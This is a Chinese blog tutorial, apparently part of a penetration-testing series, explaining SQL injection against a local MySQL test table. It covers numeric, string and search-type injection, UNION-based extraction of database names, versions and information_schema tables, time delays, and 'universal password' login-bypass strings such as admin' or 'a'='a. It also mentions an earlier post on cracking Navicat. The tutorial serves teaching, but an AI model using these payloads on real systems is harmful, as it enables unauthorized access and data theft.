起因#
一直以来都准备做的渗透基础教程
在介绍完了基本的信息收集和渗透环境搭建篇之后算是正式开始
可能会做很久也不一定做完,但是一定会更新下去
** 声明:作者初衷用于分享与普及网络安全知识,若读者因此作出任何危害网络安全行为后果自负,与作者及本网站无关 **
SQL 注入介绍#
SQL 语句:SQL (Structured Query Language),结构化的查询语言,是关系型数据库通讯的标准语言。
查询:SELECT statement FROM table WHERE condition
删除记录:DELETE FROM table WHERE condition
更新记录:UPDATE table SET field=value WHERE condtion
添加记录:INSERT INTO table field VALUES(values)
SQL 注入 (SQL Injection):
是程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作
SQL 注入攻击流程:
1. 判断注入点 2. 判断注入点类型 3. 判断数据库类型 4. 获取数据库数据,提权
SQL 注入原理分析#
本篇教程应该是基于 shack2 大佬的 SQL 注入教程写的
记不太清楚了因为笔记创建时间是19-03-01
:
而且现在shack2
大佬的博客已经关站,只留了一个github 地址
大佬的很多工具也是非常好用的,后面也会介绍到,本文中途有一些大佬有的环境我没有的
只能使用大佬的图片了但是肯定也是看得懂的
我这里使用本地的Navicat for MySql
工具和phpstudy
提供的MySql
数据库来讲解
这两个工具在前面我都介绍过,分别为
- <<Navicat 家族产品安装及破解>>
- <<渗透练习环境搭建 (长期更新)>>
用Navicat
工具连接上本地的mysql
数据库之后新建一个数据库test
在test
中新建一个表new
:
填入以下数据:
id | title | content | type |
---|---|---|---|
1 | 我是 SQL 注入 | 你知道吗? | 1 |
2 | 我不是 SQL 注入 | 你还不知道吗? | 2 |
然后用查询工具运行以下语句插入一行:
INSERT INTO test.new VALUES(3,'test','test',3)
点击运行,刷新 new 表,发现数据已经被插进去了:
来一个基础的查询:
那我们要查找部分数据可以用 limit (x,y) 来查询从第 x 条开始的 y 条数据
比如这里查询从第 0 条开始的 1 条数据(sqlserver 里面的关键字是用的 top):
数字型注入#
我们查询id=1
:
查询id=1 AND 1=2
,没有数据:
到这我们已经能判断有一个 SQL 注入了,如果没有过滤的话就可以盲注了,我们用or 1=1
(永远为真) 试一下:
也可以这么理解:
SELECT * FROM test.new WHERE (id=1 OR 1=1)
我们试一下盲注,直接加一个'
:
打印出了 SQL 的报错信息,说明支持错误显示注入
我们用 Union 来试一下,直接Union Select 1
:
报错了,列不对,所以说我们用order by
来判断列:
order by
加到 5 报错了 (也可能是没数据):
说明这个表有 4 列数据,如果原查询语句是:
SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'
这时候你再加个ORDER BY
可能也没关系:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'
但是当有时候程序自身带了ORDER BY
,比如原语句是:
SELECT * FROM test.new WHERE id=1 ORDER BY id DESC
这时候要在 1 这个位置上再插入一个ORDER BY
进去:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC
这条语句就会报错:
这时候我们就可以用 #注释掉后面的语句 (有时候要考虑字符转码 %23,因为在 URL 中 #表示标记锚连接,直接定位到网页内位置的):
SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC
下面我们说一下怎样判断某个数据库存不存在,我们可以用exists
函数:
SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)
返回正常说明admin
这个表存在,MYSQL
里面是自带information_schema
这个库的
那我们看一下存不存在information_schema.tables
就知道这个数据库是不是MySQL
数据库了:
返回正常,我们通过Union SELECT
来看哪一个列能支持显示 (这里使用的是大佬教程里的图片):
** 这里由于我使用的环境不好只显示部分位,实际很多靶场都是有多字段只显示部分字段的情况 **
这个图就明显说明第 2 列能被显示出来,但是如果只支持显示一个查询结果很有可能后面的结果我们看不见
我们可以把前面的加一个AND 1=2
否定掉,这样就只会显示我们后面的一条数据了:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231
知道了显示位之后我们就可以在显示位上搞事情了,先来查询个数据库:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231
再来查询个版本:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231
可以看到版本号为5.5.53
,再来查询information_schema
数据库的所有表名:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables
延时函数直接 sleep (10) 就行了:
字符型注入#
我们默认测试的地址为:
SELECT * FROM test.new WHERE type=2
先来一个AND 1=1
:
再来个1=2
:
发现都没有输出,也没有报错,那怎么办呢?我们分析一下字符:原来的语句是:
SELECT * FROM test.new WHERE type='xxx'
现在我们要查询type=2
的同时还要把And 1=1
加进去:
SELECT * FROM test.new WHERE type='2' AND 1=1'
后面还有一个单引号,所以这里最适合的就是用字符型的把后面单引号闭合掉:
SELECT * FROM test.new WHERE type='2' AND '1'='1'
也就是我们的查询数据为:2' AND '1'='1
,这样就把2
查询了也把AND 1=1
加进去了:
其他的就和上面的数值型注入差不多了,比如order by
:
SELECT * FROM test.new WHERE type='2' ORDER BY 1
Union:
SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL
搜索型注入#
一般语句是这样:
SELECT * FROM test.new WHERE title LIKE '%xxx%'
比如:
那我们就可以用程序本身的 %' 把前面的闭合掉,然后再 #注释掉后面的:
因为我们这里是 POST 方式提交的,不用编码,如果是 GET 方法提交的,这里需要先编码
所以我们知道查询语句是 '% xxx%' 的情况下直接搜索 %' and '%'=' 直接就闭合
万能密码#
admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
其实就是闭合了的意思,为了介绍方便我在test
数据库里再建一个admin
表,数据如下:
id | username | passwd |
---|---|---|
7 | test | test |
8 | null | null |
9 | null | null |
10 | aaa | xx |
11 | aaa | xx |
12 |
我们从这句经典登录来分析:
SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'
当我们要在中间插入or 'a' ='a'
的时候,也就是构成了这样的语句:
SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'
能查询成功,此时我们的输入的部分为:
aaa' OR 'a'='a
这样就能把username
的前后两个’闭合,然后我们就能查询任意用户名的数据
查询出来的都是password
为xx
的账户的数据:
但是这是在password
是正确的前提下的,所以最好我们把它输成空:
也可以用注释符:
SELECT * FROM test.admin WHERE username='xxx' OR 1=1#
就能查询出所有数据,简而言之就是闭合前面的username
并且保持为真
然后 #注释掉后面的password
就OK
了,这就是万能密码admin' or 'a'='a
的来源
所以在万能密码的条件下,只需要知道username
我们就能去登录账户了
当万能密码用在password
处的时候,语句是这样的:
SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'
因为程序把前面的一部分看为一个整体了:
SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')
所以这个永远是真,但是登录处肯定不会直接SELECT *
的,但是也能得到它SELECT
的所有结果。
基础原理讲的还是很枯燥的,后面会放一些例子及简单的记忆技巧,敬请期待!
本文完。